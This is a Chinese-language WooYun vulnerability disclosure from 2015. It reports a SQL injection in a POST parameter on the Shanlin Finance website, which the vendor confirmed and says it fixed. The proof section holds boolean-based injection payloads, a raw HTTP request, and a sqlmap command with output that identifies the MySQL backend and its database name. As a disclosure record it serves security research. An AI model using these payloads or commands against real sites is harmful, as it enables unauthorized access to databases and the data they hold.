当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156382

漏洞标题:善林金融主站sql注入

相关厂商:shanlinjinrong.com

漏洞作者: 我爱,你老婆

提交时间:2015-11-27 17:11

修复时间:2016-01-11 17:22

公开时间:2016-01-11 17:22

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-27: 细节已通知厂商并且等待厂商处理中
2015-11-27: 厂商已经确认,细节仅向厂商公开
2015-12-07: 细节向核心白帽子及相关领域专家公开
2015-12-17: 细节向普通白帽子公开
2015-12-27: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

主站的一个post注入

详细说明:

注入

漏洞证明:

网址:http://www.shanlinjinrong.com/include/wangdianfuwu.php
post关键字:type=xindai
对网址进行一个简单的注入测试先
xindai' AND 2+1-1-1=0+0+0+1 AND '000PLLK'='000PLLK
返回数据xindai' AND 3+1-1-1=0+0+0+1 AND '000PLLK'='000PLLK 返回空数据看一下返回值Request
POST /include/wangdianfuwu.php HTTP/1.1
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.shanlinjinrong.com:80/
Cookie: PHPSESSID=480u7rmjfgpv9hnj8gb0gd2mp5; OrdersId=7c70VAZVVQYFBQIAAAtRWAVdAFsFU1YHDFcIXAZjTzNVBwBcBlNXBg0MYH4EDFE; CNZZDATA1252973497=493273304-1448057382-http%253A%252F%252Fwww.acunetix-referrer.com%252F%7C1448057382
Host: www.shanlinjinrong.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
type=xindai'%20AND%203*2*1%3d6%20AND%20'000PLLK'%3d'000PLLK
Response
HTTP/1.1 200 OK
Server: shanlinjinrong/webservice
Date: Fri, 20 Nov 2015 23:34:33 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3
Original-Content-Encoding: gzip
Content-Length: 10962
然后我们拿神器跑一下G:\sqlmap\0.9>sqlmap.py -u http://www.shanlinjinrong.com/include/wangdianfuwu.ph
p --data type=xindai --threads 10 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20141227}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 07:41:36
[07:41:36] [INFO] resuming back-end DBMS 'mysql'
[07:41:36] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: type (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=xindai' AND 7684=7684 AND 'OPXA'='OPXA
---
[07:41:37] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3
back-end DBMS: MySQL 5
列表available databases [1]:
[*] shanlin

修复方案:

过滤

版权声明:转载请注明来源 我爱,你老婆@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-11-27 17:20

厂商回复:

非常感谢作者,我们已经封堵了,谢谢

最新状态:

暂无